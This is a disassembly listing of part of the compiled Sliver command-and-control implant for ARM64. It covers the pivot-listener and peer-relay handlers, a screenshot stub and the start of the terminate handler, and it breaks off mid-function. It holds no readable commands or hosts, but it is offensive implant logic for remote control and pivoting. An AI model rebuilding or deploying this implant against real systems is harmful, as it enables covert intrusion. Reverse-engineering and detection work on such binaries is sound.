00504f18str x0, [sp+528]
00504f1cstr x1, [sp+536]
00504f20str x2, [sp+544]
00504f24str x3, [sp+512]
00504f28str x4, [sp+520]
00504f2cldr x1, [sp+528]
00504f30ldr x2, [sp+536]
00504f34ldr x3, [sp+544]
00504f38str x1, [sp+640]
00504f3cstr x2, [sp+648]
00504f40str x3, [sp+656]
00504f44ldr x1, [sp+512]
00504f48ldr x2, [sp+520]
00504f4cstr x1, [sp+624]
00504f50str x2, [sp+632]
00504f54ldr x1, [sp+640]
00504f58ldr x2, [sp+648]
00504f5cldr x3, [sp+656]
00504f60str x1, [sp+152]
00504f64str x2, [sp+160]
00504f68str x3, [sp+168]
00504f6cadrp x0, 0x180000
00504f70add x0, x0, 2848
00504f74bl runtime.newobject
00504f78str x0, [sp+328]
00504f7cadrp x27, 0x547000
00504f80ldr w1, [x27+3056]
00504f84cbz w1, 0x504f8c
00504f88b 0x504f90
00504f8c
00504f8cloc_504f8c:
00504f8cb 0x504fac
00504f90
00504f90loc_504f90:
00504f90str x0, [sp+272]
00504f94mov x1, x0
00504f98adrp x0, 0x180000
00504f9cadd x0, x0, 2848
00504fa0bl runtime.wbZero
00504fa4ldr x0, [sp+272]
00504fa8b 0x504fac
00504fac
00504facloc_504fac:
00504facmov x20, x0
00504fb0adr x27, 16
00504fb4stp x29, x27, [sp-24]
00504fb8sub x29, sp, 24
00504fbcbl fn_87cfc
00504fc0sub x29, sp, 8
00504fc4str xzr, [x0+80]
00504fc8ldr x2, [sp+328]
00504fccldrsb x27, [x2]
00504fd0ldr x3, [sp+760]
00504fd4ldrsb x27, [x3]
00504fd8ldr x3, [x3+8]
00504fdcstr x3, [x2+8]
00504fe0ldr x2, [sp+328]
00504fe4ldrsb x27, [x2]
00504fe8ldr x3, [sp+152]
00504fecldr x4, [sp+160]
00504ff0ldr x5, [sp+168]
00504ff4str x4, [x2+32]
00504ff8str x5, [x2+40]
00504ffcadrp x27, 0x547000
00505000ldr w4, [x27+3056]
00505004cbz w4, 0x50500c
00505008b 0x505010
0050500c
0050500cloc_50500c:
0050500cb 0x505024
00505010
00505010loc_505010:
00505010bl runtime.gcWriteBarrier2
00505014str x3, [x25]
00505018ldr x4, [x2+24]
0050501cstr x4, [x25+8]
00505020b 0x505024
00505024
00505024loc_505024:
00505024str x3, [x2+24]
00505028ldr x2, [sp+328]
0050502cstr x2, [sp+504]
00505030ldr x2, [sp+768]
00505034ldrsb x27, [x2]
00505038ldr x2, [x2]
0050503cstr x2, [sp+320]
00505040ldr x0, [sp+320]
00505044add x1, sp, 504
00505048bl runtime.chansend1
0050504cb 0x5051fc
00505050
00505050loc_505050:
00505050ldr x2, [sp+72]
00505054ldrsb x27, [x2]
00505058ldr x2, [x2+56]
0050505cldrsb x27, [x2]
00505060orr x3, xzr, 31
00505064str x3, [x2+16]
00505068adrp x27, 0x546000
0050506cldr w3, [x27+3056]
00505070cbz w3, 0x505078
00505074b 0x50507c
00505078
00505078loc_505078:
00505078b 0x50508c
0050507c
0050507cloc_50507c:
0050507cldr x3, [x2+8]
00505080bl runtime.gcWriteBarrier1
00505084str x3, [x25]
00505088b 0x50508c
0050508c
0050508cloc_50508c:
0050508cadrp x3, 0x1b8000
00505090add x3, x3, 2897
00505094str x3, [x2+8]
00505098ldr x2, [sp+72]
0050509cstr x2, [sp+480]
005050a0add x27, sp, 528
005050a4stp xzr, xzr, [x27]
005050a8str xzr, [sp+544]
005050acadd x27, sp, 512
005050b0stp xzr, xzr, [x27]
005050b4ldr x1, [sp+480]
005050b8adrp x0, 0x20e000
005050bcadd x0, x0, 3232
005050c0bl google.golang.org/protobuf/proto.Marshal
005050c4str x0, [sp+528]
005050c8str x1, [sp+536]
005050ccstr x2, [sp+544]
005050d0str x3, [sp+512]
005050d4str x4, [sp+520]
005050d8ldr x2, [sp+528]
005050dcldr x3, [sp+536]
005050e0ldr x4, [sp+544]
005050e4str x2, [sp+600]
005050e8str x3, [sp+608]
005050ecstr x4, [sp+616]
005050f0ldr x2, [sp+512]
005050f4ldr x3, [sp+520]
005050f8str x2, [sp+584]
005050fcstr x3, [sp+592]
00505100ldr x2, [sp+600]
00505104ldr x3, [sp+608]
00505108ldr x4, [sp+616]
0050510cstr x2, [sp+128]
00505110str x3, [sp+136]
00505114str x4, [sp+144]
00505118adrp x0, 0x17f000
0050511cadd x0, x0, 2848
00505120bl runtime.newobject
00505124str x0, [sp+312]
00505128adrp x27, 0x546000
0050512cldr w2, [x27+3056]
00505130cbz w2, 0x505138
00505134b 0x50513c
00505138
00505138loc_505138:
00505138b 0x505158
0050513c
0050513cloc_50513c:
0050513cstr x0, [sp+272]
00505140mov x1, x0
00505144adrp x0, 0x17f000
00505148add x0, x0, 2848
0050514cbl runtime.wbZero
00505150ldr x0, [sp+272]
00505154b 0x505158
00505158
00505158loc_505158:
00505158mov x20, x0
0050515cadr x27, 16
00505160stp x29, x27, [sp-24]
00505164sub x29, sp, 24
00505168bl fn_87cfc
0050516csub x29, sp, 8
00505170str xzr, [x0+80]
00505174ldr x2, [sp+312]
00505178ldrsb x27, [x2]
0050517cldr x3, [sp+760]
00505180ldrsb x27, [x3]
00505184ldr x3, [x3+8]
00505188str x3, [x2+8]
0050518cldr x2, [sp+312]
00505190ldrsb x27, [x2]
00505194ldr x3, [sp+128]
00505198ldr x4, [sp+136]
0050519cldr x5, [sp+144]
005051a0str x4, [x2+32]
005051a4str x5, [x2+40]
005051a8adrp x27, 0x546000
005051acldr w4, [x27+3056]
005051b0cbz w4, 0x5051b8
005051b4b 0x5051bc
005051b8
005051b8loc_5051b8:
005051b8b 0x5051d0
005051bc
005051bcloc_5051bc:
005051bcbl runtime.gcWriteBarrier2
005051c0str x3, [x25]
005051c4ldr x4, [x2+24]
005051c8str x4, [x25+8]
005051ccb 0x5051d0
005051d0
005051d0loc_5051d0:
005051d0str x3, [x2+24]
005051d4ldr x2, [sp+312]
005051d8str x2, [sp+504]
005051dcldr x2, [sp+768]
005051e0ldrsb x27, [x2]
005051e4ldr x2, [x2]
005051e8str x2, [sp+304]
005051ecldr x0, [sp+304]
005051f0add x1, sp, 504
005051f4bl runtime.chansend1
005051f8b 0x5051fc
005051fc
005051fcloc_5051fc:
005051fcldp x29, x30, [sp-8]
00505200add sp, sp, 752
00505204ret x30
00505208
00505208loc_505208:
00505208stp x0, x1, [sp+8]
0050520cmov x3, x30
00505210bl runtime.morestack_noctxt.abi0
00505214ldp x0, x1, [sp+8]
00505218b 0x504820
0050521cudf 0
00504820

00505220
00505220github.com/bishopfox/sliver/implant/sliver/handlers.pivotStartListenerHandler.gowrap1: ; void github.com/bishopfox/sliver/implant/sliver/handlers.pivotStartListenerHandler.gowrap1(void)
00505220ldr x16, [x28+16]
00505224subs xzr, sp, x16
00505228b.ls 0x505258
0050522cstr x30, [sp-32]!
00505230stur x29, [sp-8]
00505234sub x29, sp, 8
00505238ldr x16, [x28+32]
0050523ccbnz x16, 0x505264
00505240
00505240loc_505240:
00505240ldr x0, [x26+8]
00505244str x0, [sp+16]
00505248bl github.com/bishopfox/sliver/implant/sliver/pivots.(*PivotListener).Start
0050524cldur x29, [sp-8]
00505250ldr x30, [sp], 32
00505254ret x30
00505258
00505258loc_505258:
00505258mov x3, x30
0050525cbl runtime.morestack.abi0
00505260b 0x505220
00505264
00505264loc_505264:
00505264ldr x17, [x16]
00505268add x20, sp, 40
0050526csubs xzr, x20, x17
00505270b.ne 0x505240
00505274add x20, sp, 8
00505278str x20, [x16]
0050527cb 0x505240
00505220

00505280
00505280github.com/bishopfox/sliver/implant/sliver/handlers.pivotStopListenerHandler: ; void github.com/bishopfox/sliver/implant/sliver/handlers.pivotStopListenerHandler(github.com/bishopfox/sliver/protobuf/sliverpb.Envelope * envelope, github.com/bishopfox/sliver/implant/sliver/transports.Connection * connection)
00505280ldr x16, [x28+16]
00505284sub x17, sp, 256
00505288subs xzr, x17, x16
0050528cb.ls 0x50570c
00505290sub x20, sp, 384
00505294stp x29, x30, [x20-8]
00505298add sp, x20, 0
0050529csub x29, sp, 8
005052a0str x0, [sp+392]
005052a4str x1, [sp+400]
005052a8adrp x0, 0x16b000
005052acadd x0, x0, 2528
005052b0bl runtime.newobject
005052b4str x0, [sp+312]
005052b8adrp x27, 0x546000
005052bcldr w1, [x27+3056]
005052c0cbz w1, 0x5052c8
005052c4b 0x5052cc
005052c8
005052c8loc_5052c8:
005052c8b 0x5052e8
005052cc
005052ccloc_5052cc:
005052ccstr x0, [sp+200]
005052d0mov x1, x0
005052d4adrp x0, 0x16b000
005052d8add x0, x0, 2528
005052dcbl runtime.wbZero
005052e0ldr x0, [sp+200]
005052e4b 0x5052e8
005052e8
005052e8loc_5052e8:
005052e8stp xzr, xzr, [x0]
005052ecstp xzr, xzr, [x0+16]
005052f0stp xzr, xzr, [x0+32]
005052f4str xzr, [x0+48]
005052f8ldr x1, [sp+312]
005052fcstr x1, [sp+64]
00505300adrp x0, 0x185000
00505304add x0, x0, 736
00505308bl runtime.newobject
0050530cstr x0, [sp+304]
00505310adrp x27, 0x546000
00505314ldr w1, [x27+3056]
00505318cbz w1, 0x505320
0050531cb 0x505324
00505320
00505320loc_505320:
00505320b 0x505340
00505324
00505324loc_505324:
00505324str x0, [sp+192]
00505328mov x1, x0
0050532cadrp x0, 0x185000
00505330add x0, x0, 736
00505334bl runtime.wbZero
00505338ldr x0, [sp+192]
0050533cb 0x505340
00505340
00505340loc_505340:
00505340mov x20, x0
00505344adr x27, 16
00505348stp x29, x27, [sp-24]
0050534csub x29, sp, 24
00505350bl fn_87cf8
00505354sub x29, sp, 8
00505358adrp x0, 0x180000
0050535cadd x0, x0, 3648
00505360bl runtime.newobject
00505364str x0, [sp+296]
00505368adrp x27, 0x546000
0050536cldr w1, [x27+3056]
00505370cbz w1, 0x505378
00505374b 0x50537c
00505378
00505378loc_505378:
00505378b 0x505398
0050537c
0050537cloc_50537c:
0050537cstr x0, [sp+184]
00505380mov x1, x0
00505384adrp x0, 0x180000
00505388add x0, x0, 3648
0050538cbl runtime.wbZero
00505390ldr x0, [sp+184]
00505394b 0x505398
00505398
00505398loc_505398:
00505398mov x20, x0
0050539cadr x27, 16
005053a0stp x29, x27, [sp-24]
005053a4sub x29, sp, 24
005053a8bl fn_87cf8
005053acsub x29, sp, 8
005053b0ldr x5, [sp+304]
005053b4ldrsb x27, [x5]
005053b8ldr x6, [sp+296]
005053bcadrp x27, 0x546000
005053c0ldr w7, [x27+3056]
005053c4cbz w7, 0x5053cc
005053c8b 0x5053d0
005053cc
005053ccloc_5053cc:
005053ccb 0x5053e4
005053d0
005053d0loc_5053d0:
005053d0bl runtime.gcWriteBarrier2
005053d4str x6, [x25]
005053d8ldr x7, [x5+56]
005053dcstr x7, [x25+8]
005053e0b 0x5053e4
005053e4
005053e4loc_5053e4:
005053e4str x6, [x5+56]
005053e8ldr x5, [sp+304]
005053ecstr x5, [sp+56]
005053f0ldr x5, [sp+64]
005053f4str x5, [sp+128]
005053f8ldr x5, [sp+392]
005053fcldrsb x27, [x5]
00505400ldr x0, [x5+24]
00505404ldr x1, [x5+32]
00505408ldr x2, [x5+40]
0050540cstr x0, [sp+272]
00505410str x1, [sp+280]
00505414str x2, [sp+288]
00505418ldr x4, [sp+128]
0050541cadrp x3, 0x20e000
00505420add x3, x3, 3200
00505424bl google.golang.org/protobuf/proto.Unmarshal
00505428str x0, [sp+72]
0050542cstr x1, [sp+80]
00505430cbnz x0, 0x505438
00505434b 0x5055f4
00505438
00505438loc_505438:
00505438ldrsb x27, [x0]
0050543cldr x2, [x0+24]
00505440mov x0, x1
00505444blr x2
00505448str x0, [sp+112]
0050544cstr x1, [sp+120]
00505450ldr x2, [sp+56]
00505454ldrsb x27, [x2]
00505458ldr x2, [x2+56]
0050545cldrsb x27, [x2]
00505460str x1, [x2+16]
00505464adrp x27, 0x546000
00505468ldr w1, [x27+3056]
0050546ccbz w1, 0x505474
00505470b 0x505478
00505474
00505474loc_505474:
00505474b 0x50548c
00505478
00505478loc_505478:
00505478bl runtime.gcWriteBarrier2
0050547cstr x0, [x25]
00505480ldr x3, [x2+8]
00505484str x3, [x25+8]
00505488b 0x50548c
0050548c
0050548cloc_50548c:
0050548cstr x0, [x2+8]
00505490ldr x2, [sp+56]
00505494str x2, [sp+368]
00505498stp xzr, xzr, [sp+344]
0050549cstr xzr, [sp+360]
005054a0stp xzr, xzr, [sp+328]
005054a4ldr x1, [sp+368]
005054a8adrp x0, 0x20e000
005054acadd x0, x0, 3232
005054b0bl google.golang.org/protobuf/proto.Marshal
005054b4str x0, [sp+344]
005054b8str x1, [sp+352]
005054bcstr x2, [sp+360]
005054c0str x3, [sp+328]
005054c4str x4, [sp+336]
005054c8ldr x2, [sp+344]
005054ccldr x3, [sp+352]
005054d0ldr x4, [sp+360]
005054d4str x2, [sp+152]
005054d8str x3, [sp+160]
005054dcstr x4, [sp+168]
005054e0ldr x2, [sp+328]
005054e4ldr x3, [sp+336]
005054e8str x2, [sp+136]
005054ecstr x3, [sp+144]
005054f0ldr x2, [sp+152]
005054f4ldr x3, [sp+160]
005054f8ldr x4, [sp+168]
005054fcstr x2, [sp+88]
00505500str x3, [sp+96]
00505504str x4, [sp+104]
00505508adrp x0, 0x17f000
0050550cadd x0, x0, 2848
00505510bl runtime.newobject
00505514str x0, [sp+264]
00505518adrp x27, 0x546000
0050551cldr w2, [x27+3056]
00505520cbz w2, 0x505528
00505524b 0x50552c
00505528
00505528loc_505528:
00505528b 0x505548
0050552c
0050552cloc_50552c:
0050552cstr x0, [sp+176]
00505530mov x1, x0
00505534adrp x0, 0x17f000
00505538add x0, x0, 2848
0050553cbl runtime.wbZero
00505540ldr x0, [sp+176]
00505544b 0x505548
00505548
00505548loc_505548:
00505548mov x20, x0
0050554cadr x27, 16
00505550stp x29, x27, [sp-24]
00505554sub x29, sp, 24
00505558bl fn_87cfc
0050555csub x29, sp, 8
00505560str xzr, [x0+80]
00505564ldr x2, [sp+264]
00505568ldrsb x27, [x2]
0050556cldr x3, [sp+392]
00505570ldrsb x27, [x3]
00505574ldr x3, [x3+8]
00505578str x3, [x2+8]
0050557cldr x2, [sp+264]
00505580ldrsb x27, [x2]
00505584ldr x3, [sp+88]
00505588ldr x4, [sp+96]
0050558cldr x5, [sp+104]
00505590str x4, [x2+32]
00505594str x5, [x2+40]
00505598adrp x27, 0x546000
0050559cldr w4, [x27+3056]
005055a0cbz w4, 0x5055a8
005055a4b 0x5055ac
005055a8
005055a8loc_5055a8:
005055a8b 0x5055c0
005055ac
005055acloc_5055ac:
005055acbl runtime.gcWriteBarrier2
005055b0str x3, [x25]
005055b4ldr x4, [x2+24]
005055b8str x4, [x25+8]
005055bcb 0x5055c0
005055c0
005055c0loc_5055c0:
005055c0str x3, [x2+24]
005055c4ldr x2, [sp+264]
005055c8str x2, [sp+320]
005055ccldr x2, [sp+400]
005055d0ldrsb x27, [x2]
005055d4ldr x2, [x2]
005055d8str x2, [sp+256]
005055dcldr x0, [sp+256]
005055e0add x1, sp, 320
005055e4bl runtime.chansend1
005055e8ldp x29, x30, [sp-8]
005055ecadd sp, sp, 384
005055f0ret x30
005055f4
005055f4loc_5055f4:
005055f4ldr x1, [sp+64]
005055f8ldrsb x27, [x1]
005055fcldr w0, [x1+8]
00505600str w0, [sp+52]
00505604bl github.com/bishopfox/sliver/implant/sliver/pivots.StopListener
00505608ldr x1, [sp+64]
0050560cldrsb x27, [x1]
00505610ldr w0, [x1+8]
00505614str w0, [sp+48]
00505618bl github.com/bishopfox/sliver/implant/sliver/pivots.RemoveListener
0050561cadrp x0, 0x17f000
00505620add x0, x0, 2848
00505624bl runtime.newobject
00505628str x0, [sp+248]
0050562cadrp x27, 0x546000
00505630ldr w1, [x27+3056]
00505634cbz w1, 0x50563c
00505638b 0x505640
0050563c
0050563cloc_50563c:
0050563cb 0x50565c
00505640
00505640loc_505640:
00505640str x0, [sp+176]
00505644mov x1, x0
00505648adrp x0, 0x17f000
0050564cadd x0, x0, 2848
00505650bl runtime.wbZero
00505654ldr x0, [sp+176]
00505658b 0x50565c
0050565c
0050565cloc_50565c:
0050565cmov x20, x0
00505660adr x27, 16
00505664stp x29, x27, [sp-24]
00505668sub x29, sp, 24
0050566cbl fn_87cfc
00505670sub x29, sp, 8
00505674str xzr, [x0+80]
00505678ldr x2, [sp+248]
0050567cldrsb x27, [x2]
00505680ldr x3, [sp+392]
00505684ldrsb x27, [x3]
00505688ldr x3, [x3+8]
0050568cstr x3, [x2+8]
00505690adrp x2, 0x546000
00505694add x2, x2, 1504
00505698str x2, [sp+216]
0050569cb 0x5056a0
005056a0
005056a0loc_5056a0:
005056a0str x2, [sp+224]
005056a4stp xzr, xzr, [sp+232]
005056a8ldr x3, [sp+248]
005056acldrsb x27, [x3]
005056b0stp xzr, xzr, [x3+32]
005056b4adrp x27, 0x546000
005056b8ldr w4, [x27+3056]
005056bccbz w4, 0x5056c4
005056c0b 0x5056c8
005056c4
005056c4loc_5056c4:
005056c4b 0x5056d8
005056c8
005056c8loc_5056c8:
005056c8ldr x4, [x3+24]
005056ccbl runtime.gcWriteBarrier1
005056d0str x4, [x25]
005056d4b 0x5056d8
005056d8
005056d8loc_5056d8:
005056d8str x2, [x3+24]
005056dcldr x2, [sp+248]
005056e0str x2, [sp+320]
005056e4ldr x2, [sp+400]
005056e8ldrsb x27, [x2]
005056ecldr x2, [x2]
005056f0str x2, [sp+208]
005056f4ldr x0, [sp+208]
005056f8add x1, sp, 320
005056fcbl runtime.chansend1
00505700ldp x29, x30, [sp-8]
00505704add sp, sp, 384
00505708ret x30
0050570c
0050570cloc_50570c:
0050570cstp x0, x1, [sp+8]
00505710mov x3, x30
00505714bl runtime.morestack_noctxt.abi0
00505718ldp x0, x1, [sp+8]
0050571cb 0x505280
00505280

00505720
00505720github.com/bishopfox/sliver/implant/sliver/handlers.pivotPeerEnvelopeHandler: ; void github.com/bishopfox/sliver/implant/sliver/handlers.pivotPeerEnvelopeHandler(github.com/bishopfox/sliver/protobuf/sliverpb.Envelope * envelope, github.com/bishopfox/sliver/implant/sliver/transports.Connection * connection)
00505720ldr x16, [x28+16]
00505724sub x17, sp, 144
00505728subs xzr, x17, x16
0050572cb.ls 0x505a04
00505730sub x20, sp, 272
00505734stp x29, x30, [x20-8]
00505738add sp, x20, 0
0050573csub x29, sp, 8
00505740str x0, [sp+280]
00505744str x1, [sp+288]
00505748stp xzr, xzr, [sp+248]
0050574cldr x0, [sp+280]
00505750bl github.com/bishopfox/sliver/implant/sliver/pivots.SendToPeer
00505754strb w0, [sp+55]
00505758str x1, [sp+248]
0050575cstr x2, [sp+256]
00505760ldrb w1, [sp+55]
00505764strb w1, [sp+54]
00505768ldr x1, [sp+248]
0050576cldr x2, [sp+256]
00505770str x1, [sp+152]
00505774str x2, [sp+160]
00505778ldrb w1, [sp+54]
0050577cstrb w1, [sp+53]
00505780ldr x1, [sp+152]
00505784ldr x2, [sp+160]
00505788str x1, [sp+72]
0050578cstr x2, [sp+80]
00505790ldrb w1, [sp+53]
00505794tbnz w1, 0, 0x50579c
00505798b 0x5057a0
0050579c
0050579cloc_50579c:
0050579cb 0x5059f8
005057a0
005057a0loc_5057a0:
005057a0adrp x0, 0x1c5000
005057a4add x0, x0, 794
005057a8movz x1, 53
005057acmov x2, xzr
005057b0mov x3, xzr
005057b4mov x4, x3
005057b8bl log.Printf
005057bcstp xzr, xzr, [sp+56]
005057c0ldr x5, [sp+72]
005057c4cbnz x5, 0x5057cc
005057c8b 0x5057ec
005057cc
005057ccloc_5057cc:
005057ccldr x1, [sp+72]
005057d0ldrsb x27, [x1]
005057d4ldr x1, [x1+24]
005057d8ldr x0, [sp+80]
005057dcblr x1
005057e0str x0, [sp+56]
005057e4str x1, [sp+64]
005057e8b 0x5057f0
005057ec
005057ecloc_5057ec:
005057ecb 0x5057f0
005057f0
005057f0loc_5057f0:
005057f0adrp x0, 0x178000
005057f4add x0, x0, 3616
005057f8bl runtime.newobject
005057fcstr x0, [sp+200]
00505800adrp x27, 0x546000
00505804ldr w1, [x27+3056]
00505808cbz w1, 0x505810
0050580cb 0x505814
00505810
00505810loc_505810:
00505810b 0x505830
00505814
00505814loc_505814:
00505814str x0, [sp+176]
00505818mov x1, x0
0050581cadrp x0, 0x178000
00505820add x0, x0, 3616
00505824bl runtime.wbZero
00505828ldr x0, [sp+176]
0050582cb 0x505830
00505830
00505830loc_505830:
00505830stp xzr, xzr, [x0]
00505834stp xzr, xzr, [x0+16]
00505838stp xzr, xzr, [x0+32]
0050583cstp xzr, xzr, [x0+48]
00505840str xzr, [x0+64]
00505844ldr x2, [sp+200]
00505848ldrsb x27, [x2]
0050584cadrp x27, 0x546000
00505850ldr x3, [x27+2144]
00505854str x3, [x2+8]
00505858ldr x2, [sp+200]
0050585cldrsb x27, [x2]
00505860str wzr, [x2+16]
00505864ldr x2, [sp+200]
00505868ldrsb x27, [x2]
0050586cldr x3, [sp+56]
00505870ldr x4, [sp+64]
00505874str x4, [x2+32]
00505878adrp x27, 0x546000
0050587cldr w4, [x27+3056]
00505880cbz w4, 0x505888
00505884b 0x50588c
00505888
00505888loc_505888:
00505888b 0x5058a0
0050588c
0050588cloc_50588c:
0050588cbl runtime.gcWriteBarrier2
00505890str x3, [x25]
00505894ldr x4, [x2+24]
00505898str x4, [x25+8]
0050589cb 0x5058a0
005058a0
005058a0loc_5058a0:
005058a0str x3, [x2+24]
005058a4ldr x2, [sp+200]
005058a8str x2, [sp+240]
005058acstp xzr, xzr, [sp+216]
005058b0str xzr, [sp+232]
005058b4stp xzr, xzr, [sp+248]
005058b8ldr x1, [sp+240]
005058bcadrp x0, 0x20e000
005058c0add x0, x0, 3168
005058c4bl google.golang.org/protobuf/proto.Marshal
005058c8str x0, [sp+216]
005058ccstr x1, [sp+224]
005058d0str x2, [sp+232]
005058d4str x3, [sp+248]
005058d8str x4, [sp+256]
005058dcldr x2, [sp+216]
005058e0ldr x3, [sp+224]
005058e4ldr x4, [sp+232]
005058e8str x2, [sp+128]
005058ecstr x3, [sp+136]
005058f0str x4, [sp+144]
005058f4ldr x2, [sp+248]
005058f8ldr x3, [sp+256]
005058fcstr x2, [sp+112]
00505900str x3, [sp+120]
00505904ldr x2, [sp+128]
00505908ldr x3, [sp+136]
0050590cldr x4, [sp+144]
00505910str x2, [sp+88]
00505914str x3, [sp+96]
00505918str x4, [sp+104]
0050591cadrp x0, 0x17f000
00505920add x0, x0, 2848
00505924bl runtime.newobject
00505928str x0, [sp+192]
0050592cadrp x27, 0x546000
00505930ldr w2, [x27+3056]
00505934cbz w2, 0x50593c
00505938b 0x505940
0050593c
0050593cloc_50593c:
0050593cb 0x50595c
00505940
00505940loc_505940:
00505940str x0, [sp+168]
00505944mov x1, x0
00505948adrp x0, 0x17f000
0050594cadd x0, x0, 2848
00505950bl runtime.wbZero
00505954ldr x0, [sp+168]
00505958b 0x50595c
0050595c
0050595cloc_50595c:
0050595cmov x20, x0
00505960adr x27, 16
00505964stp x29, x27, [sp-24]
00505968sub x29, sp, 24
0050596cbl fn_87cfc
00505970sub x29, sp, 8
00505974str xzr, [x0+80]
00505978ldr x2, [sp+192]
0050597cldrsb x27, [x2]
00505980movz x3, 58
00505984str w3, [x2+16]
00505988ldr x2, [sp+192]
0050598cldrsb x27, [x2]
00505990ldr x3, [sp+88]
00505994ldr x4, [sp+96]
00505998ldr x5, [sp+104]
0050599cstr x4, [x2+32]
005059a0str x5, [x2+40]
005059a4adrp x27, 0x546000
005059a8ldr w4, [x27+3056]
005059accbz w4, 0x5059b4
005059b0b 0x5059b8
005059b4
005059b4loc_5059b4:
005059b4b 0x5059cc
005059b8
005059b8loc_5059b8:
005059b8bl runtime.gcWriteBarrier2
005059bcstr x3, [x25]
005059c0ldr x4, [x2+24]
005059c4str x4, [x25+8]
005059c8b 0x5059cc
005059cc
005059ccloc_5059cc:
005059ccstr x3, [x2+24]
005059d0ldr x2, [sp+192]
005059d4str x2, [sp+208]
005059d8ldr x2, [sp+288]
005059dcldrsb x27, [x2]
005059e0ldr x2, [x2]
005059e4str x2, [sp+184]
005059e8ldr x0, [sp+184]
005059ecadd x1, sp, 208
005059f0bl runtime.chansend1
005059f4b 0x5059f8
005059f8
005059f8loc_5059f8:
005059f8ldp x29, x30, [sp-8]
005059fcadd sp, sp, 272
00505a00ret x30
00505a04
00505a04loc_505a04:
00505a04stp x0, x1, [sp+8]
00505a08mov x3, x30
00505a0cbl runtime.morestack_noctxt.abi0
00505a10ldp x0, x1, [sp+8]
00505a14b 0x505720
00505a18udf 0
00505a1cudf 0
00505720

00505a20
00505a20github.com/bishopfox/sliver/implant/sliver/handlers.screenshotHandler: ; void github.com/bishopfox/sliver/implant/sliver/handlers.screenshotHandler(struct []uint8 data, github.com/bishopfox/sliver/implant/sliver/handlers.RPCResponse resp)
00505a20ldr x16, [x28+16]
00505a24subs xzr, sp, x16
00505a28b.ls 0x505aa0
00505a2cstr x30, [sp-112]!
00505a30stur x29, [sp-8]
00505a34sub x29, sp, 8
00505a38str x0, [sp+120]
00505a3cstr x1, [sp+128]
00505a40str x2, [sp+136]
00505a44str x3, [sp+144]
00505a48adrp x0, 0x1b1000
00505a4cadd x0, x0, 2827
00505a50movz x1, 20
00505a54bl errors.New
00505a58str x0, [sp+88]
00505a5cstr x1, [sp+96]
00505a60adrp x0, 0x546000
00505a64add x0, x0, 1504
00505a68str x0, [sp+56]
00505a6cb 0x505a70
00505a70
00505a70loc_505a70:
00505a70str x0, [sp+64]
00505a74stp xzr, xzr, [sp+72]
00505a78ldr x26, [sp+144]
00505a7cldr x5, [x26]
00505a80ldr x3, [sp+88]
00505a84ldr x4, [sp+96]
00505a88mov x1, xzr
00505a8cmov x2, x1
00505a90blr x5
00505a94ldur x29, [sp-8]
00505a98ldr x30, [sp], 112
00505a9cret x30
00505aa0
00505aa0loc_505aa0:
00505aa0stp x0, x1, [sp+8]
00505aa4stp x2, x3, [sp+24]
00505aa8mov x3, x30
00505aacbl runtime.morestack_noctxt.abi0
00505ab0ldp x0, x1, [sp+8]
00505ab4ldp x2, x3, [sp+24]
00505ab8b 0x505a20
00505abcudf 0
00505a20

00505ac0
00505ac0github.com/bishopfox/sliver/implant/sliver/handlers.terminateHandler: ; void github.com/bishopfox/sliver/implant/sliver/handlers.terminateHandler(struct []uint8 data, github.com/bishopfox/sliver/implant/sliver/handlers.RPCResponse resp)
00505ac0ldr x16, [x28+16]
00505ac4sub x17, sp, 256
00505ac8subs xzr, x17, x16
00505accb.ls 0x505f78
00505ad0sub x20, sp, 384
00505ad4stp x29, x30, [x20-8]
00505ad8add sp, x20, 0
00505adcsub x29, sp, 8
00505ae0str x0, [sp+392]
00505ae4str x1, [sp+400]
00505ae8str x2, [sp+408]
00505aecstr x3, [sp+416]
00505af0adrp x0, 0x178000
00505af4add x0, x0, 288
00505af8bl runtime.newobject
00505afcstr x0, [sp+320]
00505b00adrp x27, 0x546000
00505b04ldr w1, [x27+3056]
00505b08cbz w1, 0x505b10
00505b0cb 0x505b14
00505b10
00505b10loc_505b10:
00505b10b 0x505b30
00505b14
00505b14loc_505b14:
00505b14str x0, [sp+184]
00505b18mov x1, x0
00505b1cadrp x0, 0x178000
00505b20add x0, x0, 288
00505b24bl runtime.wbZero
00505b28ldr x0, [sp+184]
00505b2cb 0x505b30
00505b30
00505b30loc_505b30:
00505b30stp xzr, xzr, [x0]
00505b34stp xzr, xzr, [x0+16]
00505b38stp xzr, xzr, [x0+32]
00505b3cstr xzr, [x0+48]
00505b40ldr x4, [sp+320]
00505b44str x4, [sp+64]
00505b48str x4, [sp+120]
00505b4cldr x0, [sp+392]
00505b50ldr x1, [sp+400]
00505b54ldr x2, [sp+408]
00505b58adrp x3, 0x20f000
00505b5cadd x3, x3, 1056
00505b60bl google.golang.org/protobuf/proto.Unmarshal
00505b64str x0, [sp+88]
00505b68str x1, [sp+96]
00505b6ccbnz x0, 0x505b74
00505b70b 0x505c30
00505b74
00505b74loc_505b74:
00505b74stp xzr, xzr, [sp+104]
00505b78add x5, sp, 104
00505b7cstr x5, [sp+288]
00505b80ldr x5, [sp+88]
00505b84ldr x6, [sp+96]
00505b88str x5, [sp+272]
00505b8cstr x6, [sp+280]
00505b90str x5, [sp+264]
00505b94ldr x5, [sp+264]
00505b98cbnz x5, 0x505ba0
00505b9cb 0x505bb0
00505ba0
00505ba0loc_505ba0:
00505ba0ldr x5, [sp+264]
00505ba4ldr x5, [x5+8]
00505ba8str x5, [sp+264]
00505bacb 0x505bb4
00505bb0
00505bb0loc_505bb0:
00505bb0b 0x505bb4
00505bb4
00505bb4loc_505bb4:
00505bb4ldr x5, [sp+288]
00505bb8ldrsb x27, [x5]
00505bbcldr x6, [sp+264]
00505bc0ldr x7, [sp+280]
00505bc4str x6, [x5]
00505bc8adrp x27, 0x546000
00505bccldr w6, [x27+3056]
00505bd0cbz w6, 0x505bd8
00505bd4b 0x505bdc
00505bd8
00505bd8loc_505bd8:
00505bd8b 0x505bf0
00505bdc
00505bdcloc_505bdc:
00505bdcbl runtime.gcWriteBarrier2
00505be0str x7, [x25]
00505be4ldr x6, [x5+8]
00505be8str x6, [x25+8]
00505becb 0x505bf0
00505bf0
00505bf0loc_505bf0:
00505bf0str x7, [x5+8]
00505bf4ldr x2, [sp+288]
00505bf8ldrsb x27, [x2]
00505bfcb 0x505c00
00505c00
00505c00loc_505c00:
00505c00str x2, [sp+296]
00505c04orr x4, xzr, 1
00505c08str x4, [sp+304]
00505c0cstr x4, [sp+312]
00505c10adrp x0, 0x1b5000
00505c14add x0, x0, 981
00505c18movz x1, 26
00505c1cmov x3, x4
00505c20bl log.Printf
00505c24ldp x29, x30, [sp-8]
